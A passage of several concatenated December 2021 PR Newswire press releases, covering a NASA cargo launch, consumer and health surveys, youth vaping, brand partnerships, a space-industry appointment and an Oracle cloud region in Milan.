new science investigations, supplies, and equipment for the international crew. Live coverage will air on NASA Television, the NASA app , and the agency's website , with prelaunch events starting Monday, Dec. 20. Dragon's 6,500 pounds of cargo include a variety of NASA investigations , such as a protein crystal growth study that could improve how cancer treatment drugs are delivered to patients and a handheld bioprinter that could one day be used to print tissue directly onto wounds for faster healing. There are also experiments from students at several universities as part of the Student Payload Opportunity with Citizen Science (SPOCS) program and an investigation from the makers of Tide that examines detergent efficacy in microgravity. About 12 minutes after launch, Dragon will separate from the Falcon 9 rocket's second stage and begin a carefully choreographed series of thruster firings to reach the space station. Arrival to the station is planned for Wednesday, Dec. 22. Dragon will dock autonomously to the forward-facing port of the station's Harmony module , with NASA astronauts Raja Chari and Thomas Marshburn monitoring operations from the station. The spacecraft is expected to spend about a month attached to the orbiting outpost before it returns to Earth with research and return cargo, splashing down off the coast of Florida. For the protection of employees and journalists during the ongoing COVID-19 pandemic, the Kennedy Press Site facilities will be open to a limited number of journalists on a first-come, first-served basis. Full coverage of this mission is as follows (all times Eastern): Monday, Dec. 20 Noon NASA TV will broadcast a prelaunch news conference from Kennedy's Press Site with the following participants: Joel Montalbano , manager, NASA's International Space Station Program , manager, NASA's International Space Station Program Dr. Bob Dempsey, acting deputy chief scientist, NASA's International Space Station Program Sarah Walker , director, Dragon Mission Management, SpaceX , director, Dragon Mission Management, SpaceX Arlena Moses , launch weather officer, Cape Canaveral Space Force Station's 45th Weather Squadron A limited number of seats inside the auditorium will be available to on-site journalists on a first-come, first-served basis. Additional journalists wishing to participate may dial in. For the dial-in number and passcode, please contact the Kennedy newsroom at: [email protected] no later than 9 a.m. Monday, Dec. 20. Tuesday, Dec. 21 4:45 a.m. NASA TV launch coverage begins for the 5:06 a.m. launch Wednesday, Dec. 22 3 a.m. NASA TV coverage begins for Dragon docking to space station 4:30 a.m. Docking The deadline for media to apply for accreditation for this launch has passed, but general information about media accreditation is available by emailing: [email protected]. NASA TV launch coverage Live coverage of the launch on NASA TV will begin at 4:45 a.m. Tuesday, Dec. 21. For downlink information, schedules, and links to streaming video, visit: https://www.nasa.gov/nasatv Audio only of the news conference and launch coverage will be carried on the NASA "V" circuits, which may be accessed by dialing 321-867-1220, -1240, -1260 or -7135. On launch day, "mission audio," countdown activities without NASA TV launch commentary, will be carried on 321-867-7135. On launch day, a "clean feed" of the launch without NASA TV commentary will be carried on the NASA TV media channel. NASA website launch coverage Launch day coverage of the mission will be available on the NASA website . Coverage will include live streaming and blog updates beginning no earlier than 4:45 a.m. Tuesday, Dec. 21, as the countdown milestones occur. On-demand streaming video and photos of the launch will be available shortly after liftoff. For questions about countdown coverage, contact the Kennedy newsroom: at 321-867-2468. Follow countdown coverage on our launch blog at: https://blogs.nasa.gov/spacexcrs24/ Attend the launch virtually Members of the public can register to attend this launch virtually. Registrants will receive mission updates and activities by email. NASA's virtual guest program for this mission also includes curated launch resources, notifications about related opportunities, and a virtual guest passport stamp following a successful launch. Watch and engage on social media Let people know you're following the mission on Twitter, Facebook, and Instagram by using the hashtags #Dragon and #NASASocial. You can also stay connected by following and tagging these accounts: Twitter: @NASA , @NASAKennedy , @NASASocial , @Space_Station , @ISS_Research , @ISS National Lab Facebook: NASA , NASAKennedy , ISS , ISS National Lab Instagram: @NASA , @NASAKennedy , @ISS , @ISSNationalLab Learn more about the SpaceX resupply mission at: https://www.nasa.gov/spacex Para obtener informacion sobre cobertura en espanol en el Centro Espacial Kennedy o si desea solicitar entrevistas en espanol, comuniquese con Antonia Jaramillo, 321-501-8425. SOURCE NASA Related Links http://www.nasa.gov SAN FRANCISCO, Dec. 15, 2021 /PRNewswire/ -- Today Nextdoor released its latest Insights report that shows how shopping behaviors, brand expectations, and travel plans are shaping up for the holiday season and in 2022. A recent survey of Nextdoor neighbors found that 60% say they plan to spend as they normally would this holiday season (vs. 44% in 2020), and 53% plan to travel for the holidays. In the next 6 months, 36% say they plan to travel domestically, and 14% plan to travel internationally. The seventh installment in Nextdoor's Insights series also provides data about how neighbors are prioritizing a work/lifestyle balance, returning to in-store shopping, and expecting more from brands. Read the full Insights report here . More highlights: 26% of neighborsand 28% of parentsare likely to look for a new job or leave their current job in the next 6 months. 1 in 3 say they want to do work that makes them happier. Urban neighbors are over 2x as likely to prefer shopping online only for beauty and technology products, and 20% of males prefer shopping in-store only for clothing (vs. 11% of females). Investment in cryptocurrency continues to increase, with younger, male, and urban neighbors especially invested. A quarter of neighbors have done gig economy jobs in the last year. 29% of neighbors ages 16-34 and 28% of urban neighbors say they tend to buy brands they see advertised. Neighbors are also feeling more positive about their finances and are increasingly purchasing in-store from independent retailers. Interest in sports, cars, and fashion are on the rise again. 48% of neighbors said they've had to delay purchases due to supply shortages. The report also includes data about how neighbors use and respond to social media promotion. Neighbors regularly interact with branded content on social networks; 29% said they use social media sites to find inspiration. On Nextdoor, localized messaging drives 58% higher sponsored post engagement. "Each day, neighbors come to Nextdoor to build trusted connections and exchange helpful information, goods, and services," said Nextdoor CEO Sarah Friar. "As we close out the year, these neighborhood insights illustrate that people are ready to contribute to their local economies, prioritize a work/life balance, and foster real-world connections coming out of the pandemic." The report also found that 90% of neighbors planned on decorating this holiday season, and more than half said they don't mind if others leave up their decorations past January 1. Throughout the holiday season, Nextdoor neighbors have been marking their decorated homes on Nextdoor's annual Cheer Map an interactive local guide to find the best holiday lights and decorations around town. Read the full Insights series #7 and learn more about methodology here . About Nextdoor Nextdoor is where you connect to the neighborhoods that matter to you so you can belong. Our purpose is to cultivate a kinder world where everyone has a neighborhood they can rely on. Neighbors around the world turn to Nextdoor daily to receive trusted information, give and get help, get things done, and build real-world connections with those nearby neighbors, businesses, and public services. We believe connecting with others is a universal human need. That truth, and the reality that neighborhoods are among the most important communities in our lives, have been guiding principles for Nextdoor since the beginning. Today, neighbors rely on Nextdoor in more than 285,000 neighborhoods around the world, including the United States (nearly 1 in 3 U.S. households), the United Kingdom, Germany, France, the Netherlands, Italy, Spain, Sweden, Denmark, Australia, and Canada, with many more to come. Nextdoor is based in San Francisco. For additional information and images: nextdoor.com/newsroom . SOURCE Nextdoor Holdings, Inc. Related Links www.nextdoor.com WASHINGTON and BLOOMINGTON, Ind., Dec. 15, 2021 /PRNewswire/ -- While many predicted that widespread COVID vaccination would lead to a significant increase in sexual activity (aka "Hot Vax Summer"), a new survey found over half of Americans (ages 18-35) reported sexual difficulties during the pandemic, including low sexual interest, mismatched sex drives, and trouble orgasming. Led by Kinsey Institute Research Fellow, Dr. Justin Lehmiller, the results underscore how the COVID pandemic continues to affect our lives, even in the bedroom and surprisingly reveals that for singles, avoiding sex altogether was the most common solution for dealing with sexual difficulties. The National Coalition for Sexual Health (NCSH), consisting of 200+ leading health/medical organizations and experts, today launched a Guide to Sexual Concerns and Pleasure to help Americans enjoy more satisfying sex lives during the ongoing pandemic and beyond. "A lot of people assume sexual difficulties take the greatest toll on older Americans," Dr. Lehmiller says. "However, our study revealed that reports of sexual difficulties were unexpectedly consistent across age groups, including among younger adults. While physical health issues are more likely to cause difficulties in older populations, psychological issues often take a major toll on young adults' sex lives. During the pandemic, young adults felt disproportionately stressed and lonely, both of which are known causes of sexual problems. Since young adults are also less likely to be in established relationships, they may be less comfortable discussing sexual matters with their partners, which can make it harder to find solutions," Dr. Lehmiller added. While people in relationships still experienced sexual difficulties, they fared better overall than singles during the COVID pandemic, with 42% reporting more satisfying sex lives vs. only 20% of singles. So, what's the secret sauce? It seems communication is key, and variety is the spice of life. As the survey showed, 47% of people in relationships increased their communication with partners to deal with sexual problems vs. only 15% of singles. And, 60% of people in relationships tried new sexual activities vs. 42% of singles. Sometimes the solution is as simple as trying new sexual activities and/or using new products, such as sex toys and lube. Solid communication between partners is essential, but a good sex life starts with understanding and exploring your own body, what arouses you, and what gives you pleasure. Since pleasure is rarely included in American sex ed, and shame is often associated with talking about sex, it's no surprise that most of us feel ill-equipped. The new Guide to Sexual Concerns and Pleasure, which includes many resources, is a good place to start for self-education. For many people, a pleasurable sex life is key to overall health and well-being. In fact, it can make you feel good, increase intimacy, boost your mood, reduce anxiety, improve sleep, and even decrease pain. And since talking about sex, and particularly pleasure, is taboo in many American families, our upbringing often doesn't help either. "Growing up, your parents probably never taught you that sex should feel good, or that masturbating, foreplay and using a good lube could increase sexual pleasure," according to sex therapist and certified sexuality educator Dr. Tameca Harris-Jackson. "Desire and arousal are very subjective experiences, and some people can take longer than others to get turned on. So, it's important for people to communicate with their partner(s) about what feels good, what they like and don't like, and revisit that regularly as sexual desires and sex drives can change over time," explained Dr. Harris-Jackson. While COVID may have exacerbated sexual difficulties, biological factors such as chronic health conditions, side effects from medications, and age-related changes can also affect sexual desire and functioning. If you think your sexual concerns could be rooted in physical causes, it might be best to start by seeing a health care provider. Yet, according to this survey, only 5% of women and 13% percent of men indicated that they consulted a doctor or therapist for sexual difficulties during the pandemic. For instance, ongoing erectile dysfunction can be a sign of an underlying health condition like heart disease or Type 2 diabetes that needs treatment. Certain antidepressants, such as some SSRIs which increase serotonin in the brain, can reduce your sex drive or inhibit your ability to experience pleasure. A wide variety of factors such as childbirth, breastfeeding, menopause, uterine fibroids or endometriosis, and even medications for colds, allergies and depression -- can all cause vaginal dryness, which can lead to painful sex. "Talking about sexual concerns might feel awkward, which is no surprise, given the culture we live in. But, suffering in silence and not addressing your concerns can be even worse. If your health care provider doesn't bring it up, you could start the conversation by saying something like, "I'm having some trouble with my sex life," or "My sex life isn't what I want it to be." A good health care provider will take care of your whole body, including your sexual health. And if they don't, it may be time to look for a new one," according to Dr. Raegan McDonald-Mosley, MD, CEO, Power to Decide. While sexin many different formscan do amazing things for your mood, mind, and emotional intimacy with your partner(s)common mental health conditions, such as depression, anxiety, and low self-esteem, can cause sexual difficulties. Similarly, sexual trauma can have a significant impact on a person's emotional and physical health, often affecting sexual desire, arousal, and the ability to orgasm. And, for some, even amazing, enjoyable sex with a loving partner can be a triggering experience. Speaking about any of these concerns with a licensed mental health professional (e.g., social worker, mental health counselor, psychologist, sex therapist or a couple's therapist) can not only help you improve your sex life, but also your overall mental health and well-being. "Contrary to popular belief, sex therapy is talk therapy. You keep your clothes on, and there is no physical contact. Sex therapists are licensed mental health professionals with specialized training who can help you address a variety of concerns that might be hindering your sex life, such as premature ejaculation, pain during vaginal penetration, or why sex went from exciting at the start of a relationship to feeling like a chore," said Dr. Harris-Jackson. Sex therapists are trained to listen to your concerns and recommend a variety of problem-solving techniques that support your needs, including partner communication strategies, reflective and practical homework activities, and exploring new options for sexual expression. To find a sex therapist near you or one who can provide support virtually, check out the American Association of Sexuality Educators, Counselors and Therapists' referral directory. Developed by the National Coalition for Sexual Health, the Guide to Sexual Concerns and Pleasure helps people understand common sexual concerns and take action to address them. Available online, this free guide includes: common sexual concerns and their causes; practical solutions, such as self-education, partner communication, and seeking health care and/or therapy; scripts for talking with partners and professionals; and resources to learn more. About the National Coalition for Sexual Health The National Coalition for Sexual Health (NCSH), with over 200 members, including leading national health, medical and consumer organizations, is working together to improve sexual health and well-being across the lifespan. For more information: http://nationalcoalitionforsexualhealth.org/. About the Kinsey Institute For almost 75 years, the Kinsey Institute at Indiana University (kinseyinstitute.org) has been the premier research institute on human sexuality and relationships and a trusted source for evidence-based information on critical issues in sexuality, gender, and reproduction. The Kinsey Institute's research program integrates scholarly fields including neuroscience, psychology, anthropology, history, and gender studies. The Kinsey Institute Library and Special Collections encompass over 500,000 items spanning 2,000 years of human sexual behavior and are a destination research collection for scholars and students. Kinsey Institute outreach includes traveling art exhibitions, public scholarship, research lectures, and a human sexuality education program. * Methodological Notes: This survey was independently funded by Lovehoney (www.lovehoney.com) and conducted by Prodege (www.Prodege.com) among a demographically representative sample of 2,000 U.S. Adults age 18-45, with an oversample of 200 respondents who identify as LGBTQ, via an online survey, from May 27, 2021 to June 5, 2021. The sample was balanced to ensure reliable and accurate representation of the U.S. population on age, gender, household income, region, and ethnicity. Results of any sample are subject to sampling variation. For purposes of this press release, only data from the 18-35 demographic are presented. Media Contacts: Lisa Guiterman, 301-347-7964 or 202-330-3431, [email protected] Susan Gilbert, 703-304-6774, [email protected] SOURCE National Coalition for Sexual Health (NCSH) WASHINGTON, Dec. 15, 2021 /PRNewswire/ -- The 2021 Monitoring the Future (MTF) survey data released today show progress in the fight to curb youth nicotine vaping, signaling efforts to provide education to prevent e-cigarette use and quitting resources are starting to work. However, more is needed to accelerate progress to end the ongoing youth e-cigarette epidemic amid growing concerns over continued, easy access to flavored products, risk of nicotine addiction, and the impact on youth mental health. While there have been declines across the board among surveyed students in all three grades, according to the 2021 MTF data 19.6% of 12th graders, 13.1% of 10th graders and 7.6% of 8th graders used e-cigarettes in the last 30 days (considered current use). When it comes to youth use, today's Monitoring the Future results follow those of the September 2021 National Youth Tobacco Survey (NYTS), which showed that more than 2 in 5 high school students who vape, do so frequently. Together, these findings suggest that far too many young people are highly dependent and continue to be at risk for a lifetime of nicotine addiction. This is especially troubling given the U.S. Surgeon General's recent advisory about our nation's youth mental health crisis exacerbated by the pandemic and the fact that nicotine can worsen symptoms of anxiety and depression. Today's MTF findings also show significant increases in mental health issues among teens across all measures. Furthermore, a recent Truth Initiative survey shows 81% of respondents who had ever vaped reported they started vaping nicotine to decrease anxiety, depression, or stress. Yet, the very thing that young people are turning to relieve stress can actually make it worse. These MTF numbers underscore the urgent need for stronger regulatory action on high nicotine, youth-appealing flavored tobacco products, including menthol. As the pandemic has shown, less access equals less use among teens, yet the FDA has failed to complete premarket review of the top e-cigarette brands - JUUL, Puff Bar and Vuse Alto - that make up 75% of the market and are most popular among youth, despite the September 2021 deadline to do so. Stronger federal policies must be put in place immediately to restrict youth access and remove flavored tobacco products. The policies must be clear, comprehensive, and consistently enforced with no loopholes. Delayed rulings and ad hoc policy responses to date, like warning letters to vaping companies or partial flavor bans, have resulted in product substitution, failures to comply, and new illegal products continuing to enter the market. The number one brand used by youth, Puff Bar, not only comes in a wide variety of flavors, but has also recently indicated that it will now be manufactured with synthetic nicotine in a brazen attempt to thwart FDA oversight. Without effective federal regulation, local and state policies must continue to play a crucial role in curbing flavored tobacco sales and use among youth given inconsistent national regulations. While the FDA continues to delay progress, Truth Initiative and our public health partners continue to increase efforts to end youth nicotine vaping with encouraging results. Truth Initiative's proven-effective national truth campaign is focused on giving young people the facts on the risks of e-cigarette use and the connection between vaping nicotine and its impact on mental health. Our research shows that strong truth brand awareness is significantly associated with a lower likelihood of current vaping. This is Quitting from truth, a first-of-its-kind, free text message quit vaping program designed specifically for teens and young adults already has nearly 400,000 young people enrolled to date. A recent randomized clinical trial published in JAMA Internal Medicine shows This Is Quitting increased e-cigarette quit vaping rates among young adults by nearly 40% compared to a control group. truth also offers a free, comprehensive digital high school curriculum, Vaping: Know the truth, that gives students the facts about the health dangers of e-cigarettes and helps those already vaping to quit with a direct link to This is Quitting built into the course. About Truth Initiative Truth Initiative is a national public health organization that is inspiring lives free from smoking, vaping and nicotine and building a culture where all young people reject tobacco. In 2020, we celebrated 20 years of saving lives and preventing millions of youth from smoking. Our impact has helped drive the teen smoking rate down from 23% in 2000 to 4.2% in 2020. The truth about tobacco and the tobacco industry are at the heart of our proven-effective and nationally recognized truth public education campaign. truth has also recently taken on the youth epidemics of vaping and opioids. Our rigorous scientific research and policy studies, community and youth engagement programs supporting populations at high risk of using tobacco and innovation in tobacco dependence treatment, are also helping to end one of the most critical public health battles of our time. Based in Washington D.C., our organization, formerly known as the American Legacy Foundation, was established and funded through the 1998 Master Settlement Agreement between attorneys general from 46 states, five U.S. territories and the tobacco industry. To learn more, visit truthinitiative.org. The University of Michigan's Monitoring the Future study tracks trends in substance use among students in 12th, 10th, and 8th grades. SOURCE Truth Initiative While the vision of the creative framework and talent acquisition was brought to life by NIMBUS' team, NIMBUS tapped Famous After Death , a Latinx lead production company to bring their creative framework to fruition. Led by Meg Gamez, the Latinx production crew took the framework which beautifully combined Jack's swag and the 11 herbs and spices of KFC and masterfully crafted the promotional materials for the partnership's kick-off. NIMBUS leveraged this opportunity to partner with the Latinx production company to reinforce its dedication to representation and inclusion at the agency level while also showcasing KFC's meaningful commitment to connecting with younger and more diverse consumers, thus inviting these key consumers to pay attention to KFC as a brand. "For NIMBUS it's always about real representation and bringing culture forward. Through strategic partnerships and culture-based storytelling, we were able to launch a framework that will help to evolve the brand while activating against the cultural elements that give younger and diverse consumers a reason to buy KFC", says Dr. Dawn Wade, NIMBUS Managing Partner, and Chief Strategy Officer. The partnership was formally kicked off on Monday, December 13, starting with a KFC x Jack Harlow food truck ahead of Jack Harlow's first hometown show at The Palace Theatre in Louisville, KY. Fans not only had a chance to experience Jack during the show, but they'll also had a taste of KFC's Chicken Sandwich while they waited for it to begin. Later in the week at the remainder of Jack's hometown shows, fans will have the opportunity to hear some of Jack's most popular anthems via a 10ft KFC Bucket on 12/15 and 12/16. "Growing up, I always dreamed of being the next big name to put Kentucky on the map in the music scene. But to team up with an iconic national staple like KFC, the biggest brand to come out of Kentucky, is truly an honor," says Grammy-nominated recording artist, Jack Harlow. "I'm looking forward to all the amazing things we're about to do together over the next year." Stay up to date with what's to come from as this one-of-a-kind partnership takes form through the KFC Mobile app, or social pages on Tik Tok , Instagram , Facebook , and Twitter ; For more information on Jack Harlow, please visit www.jackharlow.us . For digital assets in relation to this announcement, please find the press kit here . About Nimbus Inc. NIMBUS is an independent strategic marketing and communications agency with a focus on identifying cultural relevance and developing inclusive marketing engagement. By integrating data intelligence with innovation, the NIMBUS team crafts strategies which generate and nurture authentic connections between their client's brands and targeted audiences in today's complex and multicultural marketplace. Clients benefitting from NIMBUS' expertise include Brown-Forman, Humana, KFC, Louisville Metro United Way, Papa John's International, Swisher International, U.S. Department of Commerce, Minority Business Development Agency (MBDA), and Toyota North America among others. About KFC KFC Corporation, based in Louisville, Ky., is the world's most popular chicken restaurant chain. KFC specializes in Original Recipe, Extra Crispy, Kentucky Grilled Chicken, and Extra Crispy Tenders, Hot Wings, KFC Famous Bowls, Pot Pies, freshly hand prepared chicken sandwiches, biscuits, and homestyle side items. There are more than 26,000 KFC restaurants in over 145 countries and territories around the world. KFC Corporation is a subsidiary of Yum! Brands, Inc., Louisville, Ky. (NYSE: YUM). For more information, visit www.kfc.com . Follow KFC on Facebook ( www.facebook.com/kfc ), Twitter ( www.twitter.com/kfc ) and Instagram ( www.instagram.com/KFC ). About Jack Harlow Hailed by The FADER as a "maverick rapper destined for legendary status," 23-year-old, Louisville, KY native Jack Harlow has quickly become one of music's biggest stars with nearly 4 billion career streams to date. The Generation Now/Atlantic Records rapper has released a project a year, for the last 5 years, the most recent being his RIAA Platinum-Certified, critically acclaimed debut album THAT'S WHAT THEY ALL SAY. The album features the 6x-Platinum single "WHATS POPPIN," which earned Harlow his first Grammy nomination, among countless other accolades including nominations at the 2021 Billboard Music Awards, 2021 BET Awards, 2020 MTV Video Music Awards, 2020 E! People's Choice Awards & 2020 BET Hip Hop Awards. Harlow has been widely featured in high profile publications ranging from Rolling Stone, Billboard, and Complex to GQ, TIME, Interview, and Forbes, graced the covers of XXL's coveted Freshman Class issue, Variety, Forbes, Complex, SPIN, and Footwear News and brought his captivating live show to the masses with national television performances on Saturday Night Live, The Tonight Show Starring Jimmy Fallon, Jimmy Kimmel Live! and more. For more information on Jack Harlow, please visit www.jackharlow.us . SOURCE NIMBUS, Inc. PORT WASHINGTON, N.Y., Dec. 15, 2021 /PRNewswire/ -- North Shore Animal League America, the world's largest no-kill animal rescue and adoption organization, and Baby Doge, the socially-conscious, crypto-currency Company, are joining forces to save lives. The two organizations have entered into a multi-faceted partnership that will encompass shared messaging, branding, and activities on the ground and in the digital realm. The relationship launched with an initial $150,000USD cash donation from Baby Doge to Animal League America. "We are immensely grateful for the generous sponsorship from Baby Doge," says Joanne Yohannan, Senior Vice President of Operations, North Shore Animal League America. "This donation will have a tangible impact, enabling us to continue our life-saving work and rescue more animals. And this is just the beginning of our collaboration. We have so many exciting projects planned." The partnership continues Baby Doge's impact in the nonprofit world. Mike Watson, Director of Strategic Partnerships, explains, "We encourage animal rescue organizations to reimagine their financial model, taking into consideration the digital revolution we are living in. We see a path forward by creating new avenues in the digital & ecommerce space by combining our strong community with Animal League America supporters. Together we can help spread awareness around the plight of homeless animals and encourage donations in support of rescue work. Our shared goal is to help save animals' lives and find them worthy homes where they will live a healthy and happy life." As this partnership evolves, Baby Doge's presence will extend far beyond cash donations. The plan and rollout with several Animal League America activities and activations, will include and not be limited to a Baby Doge wrapped mobile rescue unit, interstate animal transports, exclusive merchandise, and a wide array of social media content and calls to action that promote engagement and community in support to the cause. Media Contact: KATHLEEN LYNN Phone: (516) 528-7878 Email: [email protected] ABOUT NORTH SHORE ANIMAL LEAGUE AMERICA North Shore Animal League America has saved more than 1.1 Million lives. As the world's largest no-kill rescue and adoption organization, we understand that a rescue isn't complete until each animal is placed into a loving home. Our innovative programs provide education to reduce animal cruelty and advance standards in animal welfare. Our staff and volunteers work tirelessly in the pursuit of our vision of a world where all companion animals find permanent homes and end the euthanasia. For more information, visit www.animalleague.org/babydoge ABOUT BABY DOGE Baby Doge ($BabyDoge) is a mission founded cryptocurrency token with the goal of supporting dog welfare and rescue operations worldwide. Our company has donated over $600,000USD with much more to come & we've partnered with some of the largest animal welfare organizations in the United States. Our community includes over 800,000 followers across social media platforms & over 1,000.000 holders of our crypto currency token. We're working hard to empower animal shelters & rescue organizations to rethink their current model & encourage adoption of cryptocurrency as a way to help fund operations & generate new streams of revenue/support. Co-branded merchandise, NFT's (digital art) & content can help Baby Doge & its partners usher in a new era of possibilities to help save dogs and provide opportunities for a healthy life and a happy family. For more information, please visit https://babydoge.com SOURCE North Shore Animal League America Former Director of the U.S. Office of Space Commerce Joins NorthStar's U.S. Company PARIS, Dec. 15, 2021 /PRNewswire/ - NorthStar Earth & Space Systems, Inc., the U.S. subsidiary of parent NorthStar Earth & Space, Inc. of Montreal, Canada, announced today that Kevin O'Connell, former Director, Office of Space Commerce at the U.S. Department of Commerce, has joined as Chairman of the NorthStar U.S. company Advisory Board. NorthStar established its American headquarters in McLean, Virginia in early 2019 to address U.S. government and industry stakeholder focus on space situational awareness, space domain awareness, and space traffic management. NorthStar's U.S. activities are intended to deliver decision quality information services, globally branded as Space Information & Intelligence (Si2), that leverage space-based object detection, proprietary algorithms, and fusion of third-party data. NorthStar's U.S. operations tailor solutions to meet the unique requirements facing all satellite operators in their quest for actionable information that contributes to space flight safety and sustainability. The announcement was made by NorthStar's CEO and Founder Stewart Bain at the 2021 Euroconsult World Satellite Business Week event in Paris, France. "NorthStar is honoured to announce that Kevin O'Connell has joined NorthStar as the Chairman of the Advisory Board that supports our U.S. company", said Bain. "Kevin brings to NorthStar rich insight into U.S. government policy, plans, and requirements within the important context of American commercial space activities. We welcome his leadership and guidance to best serve the diverse requirements of the American space market," noted Bain. While Director of the Office of Space Commerce, Mr. O'Connell led U.S. Commerce Department efforts to implement a series of government Space Policy Directives, most notably the one which articulates the changing nature of responsibilities between military and civil authorities in the areas of space situational awareness and space traffic management. "NorthStar is poised to leverage the many advantages of space-based satellite and debris detection and integrate with other valuable third-party data to deliver a suite of timely, relevant and predictive space safety information services," said Mr. O'Connell. He added, "NorthStar aims to improve the quantity and quality of information available to the U.S. government and the commercial space industry to enhance overall awareness of the space environment and safety of spaceflight." Since establishing U.S. operations in 2019, NorthStar has demonstrated its suite of Si2 services in multiple venues including a series of U.S. Departments of Defense and Commerce co-sponsored Sprint Advanced Concept Training (SACT) Civil-Commercial exercises. "Kevin's former role leading the Office of Space Commerce will help NorthStar craft highly informed solutions that address the unique requirements of U.S. military, intelligence community, civil space and industry stakeholders," said Denny Brisley, NorthStar's U.S. President and Chief Operating Officer. She added, "We welcome Kevin's exceptional insight and strategic guidance as we strive to meet and exceed customer expectations." About NorthStar NorthStar seeks to empower humanity to preserve our planet through a unique Space and Earth information & intelligence platform using space-based sensors. NorthStar strives to help transform the way governments, industry and institutions assess risk, address regulations and make decisions to foster the sustainable development of our planet and deliver a safe and secure near-Earth environment. NorthStar's unique suite of Space Information & Intelligence (Si2) services address many of the critical and immediate challenges facing government and commercial space stakeholders. With a comprehensive view of all near-Earth orbits, NorthStar's Skylark satellites will deliver more frequent and precise observations of resident space objects than any current commercial system. The company's Skylark solution will generate decision-quality Si2 services derived from its unparalleled space-based coverage, object custody, and enhanced predictive analytics. NorthStar's investors comprise a global coalition of strategic partners, including Telesystem Space (a co-enterprise of the Sirois family office, Telesystem and the Roger's Family Trust of Canada), the Space Alliance (Thales Alenia Space and Telespazio) of Europe, the Government of Quebec and the Government of Canada. NorthStar Earth & Space (NorthStar) head offices are located in Montreal, Canada and its U.S. subsidiary, NorthStar Earth & Space Systems, Inc. is headquartered in McLean, Virginia. https://northstar-data.com/ SOURCE NorthStar Earth & Space Inc. Related Links https://northstar-data.com/ MILAN, Dec. 15, 2021 /PRNewswire/ -- Oracle today announced the opening of its first cloud region in Milan, Italy, to support the increasing cloud computing demands of private and public sector organizations. The Oracle Cloud Milan Region will provide customers and partners access to Oracle Cloud services to drive business growth. Oracle's next-generation cloud is now available in 36 regions worldwide with plans to have at least 44 cloud regions by the end of 2022, continuing one of the fastest expansions of any major cloud provider. The Milan region is strategically located in the heart of Italy's business and industrial hub, supporting some of Italy's largest public sector organizations and its most important industries including banking, fashion, food and tourismas well as one of Europe's largest start-up communities. Over half of Italy's industrial and business activity is based in the Lombardy region, which produces almost a quarter of Italy's GDP. The Milan region strengthens Oracle's extensive network in the European Union, with Frankfurt, Amsterdam, Marseille, and Stockholm already available, and a second region in France and one in Spain planned to open. Oracle Cloud Regions are already available in the UK and Switzerland. "It is important that we offer organizations access to cloud infrastructure that is located in Italy to manage their most critical data and applications. We currently see significant growth in our cloud business that reflects our customers' desire to rapidly digitize their operations so they can better serve their customers," said Alessandro Ippolito, vice president and country general manager, Oracle Italy. "The Milan region also supports the Italian government's 'Piano Nazionale di Ripresa e Resilienza' (National Plan of Recovery and Resilience) initiative, which aims to promote the economic recovery of the country through digital modernization. Having a cloud region on Italian soil will help facilitate the adoption of Oracle Cloud services by government entities and Italy's highly regulated industries." Built on OCI's next-generation architecture, the Milan region provides a resilient, high-performance foundation for cloud services, with a physical and virtual network design that helps optimize performance and security. Oracle Cloud services, including Oracle Autonomous Database, Oracle Container Engine for Kubernetes and Oracle Cloud VMware are now available from Milan for customers that want to leverage a cloud region in Italy. This may help organizations in highly regulated industries like banking and public sectors with their efforts to meet important regulatory compliance requirements. In addition, Oracle offers a wide range of application modernization and cloud strategies to help Italian organizations operate with global competitiveness. Customer Commentary on the Opening of the Milan Region Marcella Schiavi, IT Manager, Trenord, a subsidiary of Trenitalia, dedicated to public rail transport in the most mobile region of Italy, Lombardy, said: "In 2017 we started to renew and consolidate our infrastructure working toward cloud solutions. We selected Oracle Cloud Infrastructure for our ticketing platform, to ensure high performance in a safe, innovative and sustainable way. Today, we confirm and renew our choice together with Azienda Trasporti Milanesi (ATM), who manages public transport and integrated mobility in Milan and across Lombardy, to jointly deliver the new electronic ticketing systems created by the SBE Consortium. The Oracle Cloud Milan Region offers us further opportunities to scale to the cloud with low latency allowing us to focus on customer experience and data security." Roberto Andreoli, Chief Information Officer, ATM, added: "The new electronic ticketing system project, coordinated by the SBE consortium, will use the Milan region. This is with the goal of ensuring the interoperability of electronic ticketing systems for the transport network of the metropolitan city of Milan and the region of Lombardy." Alessio Pomasan, Chief Information Officer, Banca Mediolanum, a leading bank, insurance and asset management provider, said: "Banca Mediolanum has long been using Oracle technology services to manage our most mission-critical data. The new cloud region in Italy is interesting because it offers new opportunities for a company like ours which operates in a highly regulated market. With reduced service and application latencies facilitated by the proximity of the Milan region, we will be able to explore new possibilities and ways of operating and serving our customers." Mario Martinelli, Chief Information Officer, SISAL, a major gaming company with a network of over 50,000 retail outlets, said: "As a leading international gaming operator, SISAL is an inherently a data-driven business, and Oracle has always been central to this approach. With Oracle Cloud we have been able to vastly accelerate innovationincluding bringing innovative Artificial Intelligence solutions to our servicesand create more value through data across our business. The high performance and low latency offered by the new Milan region will give us the flexibility to move more critical workloads to the cloud and enable us to consider new business opportunities and service offerings." Giuseppe Cardillo, IT Director, Gruppo Bancario Cooperativo Iccrea, said: "After initially consolidating our data management with Oracle databases on Exadata Engineered Systems, the intermediate step to the cloud was Oracle Exadata [email protected] By this I mean cloud services with machines physically located in our data centres. We are very pleased with the opening of an Oracle Cloud Region in Italy. This will facilitate our cloud adoption path with regulatory and also technical benefits, including lower latency which will make everything more efficient." Anna Sappa, Chief Technology Officer, INAIL (National Institute for Insurance against Accidents at Work), an Italian statutory corporation overseen by the Ministry of Labour and Social Policies, said: "Thanks to Oracle Exadata [email protected], we had already chosen to 'build our own cloud' in our data centres in Rome. By using cloud technology to complete the consolidation of our Institute's data, we began to use new deployment, provisioning and monitoring tools. Now we are ready to complete our journey to the cloud, in accordance with the government guidelines on data management. That is why the opening of an Oracle Cloud Milan Region is of great interest for INAIL it has the levels of security and performance that we have come to appreciate, combined with an improvement in latencies and disaster protection." Filippo Cecchi, IT Infrastructure and Services Lead, Unicoop Firenze, one of the oldest and biggest large-scale distribution organisations in Italy with retail outlets throughout Tuscany, said: "We have always used Oracle systems and technology for data management and analytics. This provides more timely and personalised services to customers and helps us manage distribution in a sustainable and economically viable way. We are very familiar with Oracle technology on-premises, and we have started working in a hybrid mode with Oracle Cloud Infrastructure delivering excellent results. That is why the opening of an Oracle Cloud Region in Italy will be essential to continue our migration of workloads to the cloud, thanks to low latency and high performance." Flavio Mauri, Chief Information Officer, Cerved Group, the main Italian data provider for banking and insurance, said: "Oracle's choice to open a cloud region in Italy fully meets the expectations of Cerved Group. As a matter of fact, it was our intention to move our data management architecture to the cloud, so we will be among the first Oracle customers to operate in this region in Italy." Andrea Cesarini, Oracle Business Group Lead 